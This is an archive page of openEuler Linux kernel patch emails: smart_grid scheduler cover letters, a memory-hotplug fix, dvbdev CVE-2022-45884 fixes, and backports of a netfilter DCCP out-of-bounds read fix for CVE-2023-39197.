include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 496 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 ++++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1601 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH openEuler-1.0-LTS,v2] netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
by Zhengchao Shao 16 Nov '23

16 Nov '23

From: Florian Westphal <fw(a)strlen.de> mainline inclusion from mainline-v6.5-rc1 commit ff0a3a7d52ff7282dbd183e7fc29a1fe386b0c30 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZSO CVE: CVE-2023-39197 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- Eric Dumazet says: nf_conntrack_dccp_packet() has an unique: dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); And nothing more is 'pulled' from the packet, depending on the content. dh->dccph_doff, and/or dh->dccph_x ...) So dccp_ack_seq() is happily reading stuff past the _dh buffer. BUG: KASAN: stack-out-of-bounds in nf_conntrack_dccp_packet+0x1134/0x11c0 Read of size 4 at addr ffff000128f66e0c by task syz-executor.2/29371 [..] Fix this by increasing the stack buffer to also include room for the extra sequence numbers and all the known dccp packet type headers, then pull again after the initial validation of the basic header. While at it, mark packets invalid that lack 48bit sequence bit but where RFC says the type MUST use them. Compile tested only. v2: first skb_header_pointer() now needs to adjust the size to only pull the generic header. (Eric) Heads-up: I intend to remove dccp conntrack support later this year. Fixes: 2bc780499aa3 ("[NETFILTER]: nf_conntrack: add DCCP protocol support") Reported-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Florian Westphal <fw(a)strlen.de> Reviewed-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Pablo Neira Ayuso <pablo(a)netfilter.org> Conflicts: net/netfilter/nf_conntrack_proto_dccp.c Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/netfilter/nf_conntrack_proto_dccp.c | 50 ++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nf_conntrack_proto_dccp.c b/net/netfilter/nf_conntrack_proto_dccp.c index 3ba1f4d9934f..cd7a51a0f100 100644 --- a/net/netfilter/nf_conntrack_proto_dccp.c +++ b/net/netfilter/nf_conntrack_proto_dccp.c @@ -433,17 +433,47 @@ static u64 dccp_ack_seq(const struct dccp_hdr *dh) ntohl(dhack->dccph_ack_nr_low); } +struct nf_conntrack_dccp_buf { + struct dccp_hdr dh; /* generic header part */ + struct dccp_hdr_ext ext; /* optional depending dh->dccph_x */ + union { /* depends on header type */ + struct dccp_hdr_ack_bits ack; + struct dccp_hdr_request req; + struct dccp_hdr_response response; + struct dccp_hdr_reset rst; + } u; +}; + +static struct dccp_hdr * +dccp_header_pointer(const struct sk_buff *skb, int offset, const struct dccp_hdr *dh, + struct nf_conntrack_dccp_buf *buf) +{ + unsigned int hdrlen = __dccp_hdr_len(dh); + + if (hdrlen > sizeof(*buf)) + return NULL; + + return skb_header_pointer(skb, offset, hdrlen, buf); +} + static int dccp_packet(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - struct dccp_hdr _dh, *dh; + struct nf_conntrack_dccp_buf _dh; u_int8_t type, old_state, new_state; enum ct_dccp_roles role; unsigned int *timeouts; + struct dccp_hdr *dh; dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); BUG_ON(dh == NULL); + + /* pull again, including possible 48 bit sequences and subtype header */ + dh = dccp_header_pointer(skb, dataoff, dh, &_dh); + if (!dh) + return NF_DROP; + type = dh->dccph_type; if (type == DCCP_PKT_RESET && @@ -526,10 +556,20 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int dataoff, u_int8_t pf, unsigned int hooknum) { + static const unsigned long require_seq48 = 1 << DCCP_PKT_REQUEST | + 1 << DCCP_PKT_RESPONSE | + 1 << DCCP_PKT_CLOSEREQ | + 1 << DCCP_PKT_CLOSE | + 1 << DCCP_PKT_RESET | + 1 << DCCP_PKT_SYNC | + 1 << DCCP_PKT_SYNCACK; struct dccp_hdr _dh, *dh; unsigned int dccp_len = skb->len - dataoff; unsigned int cscov; const char *msg; + u8 type; + + BUILD_BUG_ON(DCCP_PKT_INVALID >= BITS_PER_LONG); dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); if (dh == NULL) { @@ -559,11 +599,17 @@ static int dccp_error(struct net *net, struct nf_conn *tmpl, goto out_invalid; } - if (dh->dccph_type >= DCCP_PKT_INVALID) { + type = dh->dccph_type; + if (type >= DCCP_PKT_INVALID) { msg = "nf_ct_dccp: reserved packet type "; goto out_invalid; } + if (test_bit(type, &require_seq48) && !dh->dccph_x) { + msg = "nf_ct_dccp: type lacks 48bit sequence numbers"; + goto out_invalid; + } + return NF_ACCEPT; out_invalid: -- 2.34.1

1 0

[PATCH OLK-5.10 v5 00/19] introduce smart_grid zone
by Yipeng Zou 16 Nov '23

16 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 496 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 ++++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1601 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH OLK-5.10 v5 00/19] introduce smart_grid zone
by Yipeng Zou 16 Nov '23

16 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 496 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 ++++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1601 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH OLK-5.10 v5 00/19] introduce smart_grid zone
by Yipeng Zou 16 Nov '23

16 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v4: 1. Place the highest level task in current domain level itself in sched_grid_prefer_cpus Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/fair.c | 496 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 273 ++++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 21 files changed, 1601 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

1 19

[PATCH openEuler-1.0-LTS] mm, memory_hotplug: update pcp lists everytime onlining a memory block
by Liu Shixin 15 Nov '23

15 Nov '23

From: Charan Teja Reddy <charante(a)codeaurora.org> mainline inclusion from mainline-v5.9-rc1 commit de1193f0be66f88e2c6d0fd965137668fc2ec4a5 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8GREH CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- When onlining a first memory block in a zone, pcp lists are not updated thus pcp struct will have the default setting of ->high = 0,->batch = 1. This means till the second memory block in a zone(if it have) is onlined the pcp lists of this zone will not contain any pages because pcp's ->count is always greater than ->high thus free_pcppages_bulk() is called to free batch size(=1) pages every time system wants to add a page to the pcp list through free_unref_page(). To put this in a word, system is not using benefits offered by the pcp lists when there is a single onlineable memory block in a zone. Correct this by always updating the pcp lists when memory block is onlined. Fixes: 1f522509c77a ("mem-hotplug: avoid multiple zones sharing same boot strapping boot_pageset") Signed-off-by: Charan Teja Reddy <charante(a)codeaurora.org> Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org> Reviewed-by: David Hildenbrand <david(a)redhat.com> Acked-by: Vlastimil Babka <vbabka(a)suse.cz> Acked-by: Michal Hocko <mhocko(a)suse.com> Cc: Vinayak Menon <vinmenon(a)codeaurora.org> Link: http://lkml.kernel.org/r/1596372896-15336-1-git-send-email-charante@codeaur… Signed-off-by: Linus Torvalds <torvalds(a)linux-foundation.org> Conflicts: mm/memory_hotplug.c Signed-off-by: Liu Shixin <liushixin2(a)huawei.com> --- mm/memory_hotplug.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/mm/memory_hotplug.c b/mm/memory_hotplug.c index 3b961b0fffcc..cebfa881e516 100644 --- a/mm/memory_hotplug.c +++ b/mm/memory_hotplug.c @@ -878,8 +878,7 @@ int __ref online_pages(unsigned long pfn, unsigned long nr_pages, int online_typ node_states_set_node(nid, &arg); if (need_zonelists_rebuild) build_all_zonelists(NULL); - else - zone_pcp_update(zone); + zone_pcp_update(zone); } init_per_zone_wmark_min(); -- 2.25.1

2 1

[PATCH OLK-5.10] netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
by Zhengchao Shao 15 Nov '23

15 Nov '23

From: Florian Westphal <fw(a)strlen.de> stable inclusion from stable-v5.10.188 commit 9bdcda7abaf22f6453e5b5efb7eb4e524095d5d8 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZSO CVE: CVE-2023-39197 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… -------------------------------- [ Upstream commit ff0a3a7d52ff7282dbd183e7fc29a1fe386b0c30 ] Eric Dumazet says: nf_conntrack_dccp_packet() has an unique: dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); And nothing more is 'pulled' from the packet, depending on the content. dh->dccph_doff, and/or dh->dccph_x ...) So dccp_ack_seq() is happily reading stuff past the _dh buffer. BUG: KASAN: stack-out-of-bounds in nf_conntrack_dccp_packet+0x1134/0x11c0 Read of size 4 at addr ffff000128f66e0c by task syz-executor.2/29371 [..] Fix this by increasing the stack buffer to also include room for the extra sequence numbers and all the known dccp packet type headers, then pull again after the initial validation of the basic header. While at it, mark packets invalid that lack 48bit sequence bit but where RFC says the type MUST use them. Compile tested only. v2: first skb_header_pointer() now needs to adjust the size to only pull the generic header. (Eric) Heads-up: I intend to remove dccp conntrack support later this year. Fixes: 2bc780499aa3 ("[NETFILTER]: nf_conntrack: add DCCP protocol support") Reported-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Florian Westphal <fw(a)strlen.de> Reviewed-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Pablo Neira Ayuso <pablo(a)netfilter.org> Signed-off-by: Sasha Levin <sashal(a)kernel.org> Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/netfilter/nf_conntrack_proto_dccp.c | 52 +++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/net/netfilter/nf_conntrack_proto_dccp.c b/net/netfilter/nf_conntrack_proto_dccp.c index 94001eb51ffe..a9ae292e932a 100644 --- a/net/netfilter/nf_conntrack_proto_dccp.c +++ b/net/netfilter/nf_conntrack_proto_dccp.c @@ -431,9 +431,19 @@ static bool dccp_error(const struct dccp_hdr *dh, struct sk_buff *skb, unsigned int dataoff, const struct nf_hook_state *state) { + static const unsigned long require_seq48 = 1 << DCCP_PKT_REQUEST | + 1 << DCCP_PKT_RESPONSE | + 1 << DCCP_PKT_CLOSEREQ | + 1 << DCCP_PKT_CLOSE | + 1 << DCCP_PKT_RESET | + 1 << DCCP_PKT_SYNC | + 1 << DCCP_PKT_SYNCACK; unsigned int dccp_len = skb->len - dataoff; unsigned int cscov; const char *msg; + u8 type; + + BUILD_BUG_ON(DCCP_PKT_INVALID >= BITS_PER_LONG); if (dh->dccph_doff * 4 < sizeof(struct dccp_hdr) || dh->dccph_doff * 4 > dccp_len) { @@ -458,10 +468,17 @@ static bool dccp_error(const struct dccp_hdr *dh, goto out_invalid; } - if (dh->dccph_type >= DCCP_PKT_INVALID) { + type = dh->dccph_type; + if (type >= DCCP_PKT_INVALID) { msg = "nf_ct_dccp: reserved packet type "; goto out_invalid; } + + if (test_bit(type, &require_seq48) && !dh->dccph_x) { + msg = "nf_ct_dccp: type lacks 48bit sequence numbers"; + goto out_invalid; + } + return false; out_invalid: nf_l4proto_log_invalid(skb, state->net, state->pf, @@ -469,24 +486,53 @@ static bool dccp_error(const struct dccp_hdr *dh, return true; } +struct nf_conntrack_dccp_buf { + struct dccp_hdr dh; /* generic header part */ + struct dccp_hdr_ext ext; /* optional depending dh->dccph_x */ + union { /* depends on header type */ + struct dccp_hdr_ack_bits ack; + struct dccp_hdr_request req; + struct dccp_hdr_response response; + struct dccp_hdr_reset rst; + } u; +}; + +static struct dccp_hdr * +dccp_header_pointer(const struct sk_buff *skb, int offset, const struct dccp_hdr *dh, + struct nf_conntrack_dccp_buf *buf) +{ + unsigned int hdrlen = __dccp_hdr_len(dh); + + if (hdrlen > sizeof(*buf)) + return NULL; + + return skb_header_pointer(skb, offset, hdrlen, buf); +} + int nf_conntrack_dccp_packet(struct nf_conn *ct, struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo, const struct nf_hook_state *state) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - struct dccp_hdr _dh, *dh; + struct nf_conntrack_dccp_buf _dh; u_int8_t type, old_state, new_state; enum ct_dccp_roles role; unsigned int *timeouts; + struct dccp_hdr *dh; - dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); + dh = skb_header_pointer(skb, dataoff, sizeof(*dh), &_dh.dh); if (!dh) return NF_DROP; if (dccp_error(dh, skb, dataoff, state)) return -NF_ACCEPT; + /* pull again, including possible 48 bit sequences and subtype header */ + dh = dccp_header_pointer(skb, dataoff, dh, &_dh); + if (!dh) + return NF_DROP; + type = dh->dccph_type; if (!nf_ct_is_confirmed(ct) && !dccp_new(ct, skb, dh)) return -NF_ACCEPT; -- 2.34.1

2 1

[PATCH openEuler-1.0-LTS] netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
by Zhengchao Shao 15 Nov '23

15 Nov '23

From: Florian Westphal <fw(a)strlen.de> mainline inclusion from mainline-v6.5-rc1 commit ff0a3a7d52ff7282dbd183e7fc29a1fe386b0c30 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZSO CVE: CVE-2023-39197 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- Eric Dumazet says: nf_conntrack_dccp_packet() has an unique: dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); And nothing more is 'pulled' from the packet, depending on the content. dh->dccph_doff, and/or dh->dccph_x ...) So dccp_ack_seq() is happily reading stuff past the _dh buffer. BUG: KASAN: stack-out-of-bounds in nf_conntrack_dccp_packet+0x1134/0x11c0 Read of size 4 at addr ffff000128f66e0c by task syz-executor.2/29371 [..] Fix this by increasing the stack buffer to also include room for the extra sequence numbers and all the known dccp packet type headers, then pull again after the initial validation of the basic header. While at it, mark packets invalid that lack 48bit sequence bit but where RFC says the type MUST use them. Compile tested only. v2: first skb_header_pointer() now needs to adjust the size to only pull the generic header. (Eric) Heads-up: I intend to remove dccp conntrack support later this year. Fixes: 2bc780499aa3 ("[NETFILTER]: nf_conntrack: add DCCP protocol support") Reported-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Florian Westphal <fw(a)strlen.de> Reviewed-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Pablo Neira Ayuso <pablo(a)netfilter.org> Conflicts: net/netfilter/nf_conntrack_proto_dccp.c Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/netfilter/nf_conntrack_proto_dccp.c | 32 ++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/net/netfilter/nf_conntrack_proto_dccp.c b/net/netfilter/nf_conntrack_proto_dccp.c index 3ba1f4d9934f..9681c0ce1d6f 100644 --- a/net/netfilter/nf_conntrack_proto_dccp.c +++ b/net/netfilter/nf_conntrack_proto_dccp.c @@ -433,17 +433,47 @@ static u64 dccp_ack_seq(const struct dccp_hdr *dh) ntohl(dhack->dccph_ack_nr_low); } +struct nf_conntrack_dccp_buf { + struct dccp_hdr dh; /* generic header part */ + struct dccp_hdr_ext ext; /* optional depending dh->dccph_x */ + union { /* depends on header type */ + struct dccp_hdr_ack_bits ack; + struct dccp_hdr_request req; + struct dccp_hdr_response response; + struct dccp_hdr_reset rst; + } u; +}; + +static struct dccp_hdr * +dccp_header_pointer(const struct sk_buff *skb, int offset, const struct dccp_hdr *dh, + struct nf_conntrack_dccp_buf *buf) +{ + unsigned int hdrlen = __dccp_hdr_len(dh); + + if (hdrlen > sizeof(*buf)) + return NULL; + + return skb_header_pointer(skb, offset, hdrlen, buf); +} + static int dccp_packet(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - struct dccp_hdr _dh, *dh; + struct nf_conntrack_dccp_buf _dh; u_int8_t type, old_state, new_state; enum ct_dccp_roles role; unsigned int *timeouts; + struct dccp_hdr *dh; dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); BUG_ON(dh == NULL); + + /* pull again, including possible 48 bit sequences and subtype header */ + dh = dccp_header_pointer(skb, dataoff, dh, &_dh); + if (!dh) + return NF_DROP; + type = dh->dccph_type; if (type == DCCP_PKT_RESET && -- 2.34.1

2 1

[PATCH openEuler-22.03-LTS 0/3] bugfix for CVE-2022-45884
by liwei 14 Nov '23

14 Nov '23

bugfix for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() Mauro Carvalho Chehab (1): media: dvbdev: fix error logic at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 88 +++++++++++++++++++++++++-------- include/media/dvbdev.h | 15 ++++++ 2 files changed, 83 insertions(+), 20 deletions(-) -- 2.25.1

2 4

[PATCH openEuler-22.03-LTS-SP1 0/3] bugfix for CVE-2022-45884
by liwei 14 Nov '23

14 Nov '23

bugfix for CVE-2022-45884 Dinghao Liu (1): media: dvbdev: Fix memleak in dvb_register_device Hyunwoo Kim (1): media: dvb-core: Fix use-after-free due to race at dvb_register_device() Mauro Carvalho Chehab (1): media: dvbdev: fix error logic at dvb_register_device() drivers/media/dvb-core/dvbdev.c | 88 +++++++++++++++++++++++++-------- include/media/dvbdev.h | 15 ++++++ 2 files changed, 83 insertions(+), 20 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10 v4 00/19] introduce smart_grid zone
by Yipeng Zou 14 Nov '23

14 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v3: 1. fix CI warning Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 11 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 268 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1598 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[PATCH OLK-5.10 v3 00/19] introduce smart_grid zone
by Yipeng Zou 14 Nov '23

14 Nov '23

The patch sets include two parts: 1. patch 1~15: Rebase smart_grid from openeuler-1.0-LTS to OLK-5.10 2. patch 16~19: introduce smart_grid zone qos and cpufreq Since v2: 1. static alloc sg_zone cpumask. 2. fix some warning Hui Tang (13): sched: Introduce smart grid scheduling strategy for cfs sched: fix smart grid usage count sched: fix WARN found by deadlock detect sched: Fix possible deadlock in tg_set_dynamic_affinity_mode sched: Fix negative count for jump label sched: Fix timer storm for smart grid sched: fix dereference NULL pointers sched: Fix memory leak on error branch sched: clear credit count in error branch sched: Adjust few parameters range for smart grid sched: Delete redundant updates to p->prefer_cpus sched: Fix memory leak for smart grid sched: Fix null pointer derefrence for sd->span Wang ShaoBo (2): sched: smart grid: init sched_grid_qos structure on QOS purpose config: enable CONFIG_QOS_SCHED_SMART_GRID by default Yipeng Zou (4): sched: introduce smart grid qos zone smart_grid: introduce /proc/pid/smart_grid_level smart_grid: introduce smart_grid_strategy_ctrl sysctl smart_grid: cpufreq: introduce smart_grid cpufreq control arch/arm64/configs/openeuler_defconfig | 1 + drivers/cpufreq/cpufreq.c | 234 ++++++++++++ fs/proc/array.c | 13 + fs/proc/base.c | 76 ++++ include/linux/cpufreq.h | 6 + include/linux/sched.h | 22 ++ include/linux/sched/grid_qos.h | 135 +++++++ include/linux/sched/sysctl.h | 5 + init/Kconfig | 13 + kernel/fork.c | 15 +- kernel/sched/Makefile | 1 + kernel/sched/core.c | 160 +++++++- kernel/sched/cpufreq_schedutil.c | 1 + kernel/sched/fair.c | 497 ++++++++++++++++++++++++- kernel/sched/grid/Makefile | 2 + kernel/sched/grid/internal.h | 6 + kernel/sched/grid/power.c | 27 ++ kernel/sched/grid/qos.c | 267 +++++++++++++ kernel/sched/grid/stat.c | 47 +++ kernel/sched/sched.h | 48 +++ kernel/sysctl.c | 22 +- mm/mempolicy.c | 12 +- 22 files changed, 1592 insertions(+), 18 deletions(-) create mode 100644 include/linux/sched/grid_qos.h create mode 100644 kernel/sched/grid/Makefile create mode 100644 kernel/sched/grid/internal.h create mode 100644 kernel/sched/grid/power.c create mode 100644 kernel/sched/grid/qos.c create mode 100644 kernel/sched/grid/stat.c -- 2.34.1

2 20

[OLK-5.10 0/6] Support SW stats with debugfs
by Chengchang Tang 14 Nov '23

14 Nov '23

